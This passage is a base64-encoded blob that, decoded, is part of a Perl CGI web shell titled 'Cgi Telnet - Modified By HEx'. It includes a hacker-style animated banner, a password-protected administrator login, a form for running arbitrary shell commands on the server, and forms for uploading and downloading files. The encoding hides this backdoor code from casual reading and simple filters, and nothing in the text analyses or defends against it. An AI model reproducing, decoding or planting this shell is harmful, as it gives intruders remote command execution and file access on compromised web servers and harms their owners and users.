JzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI+Q2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxl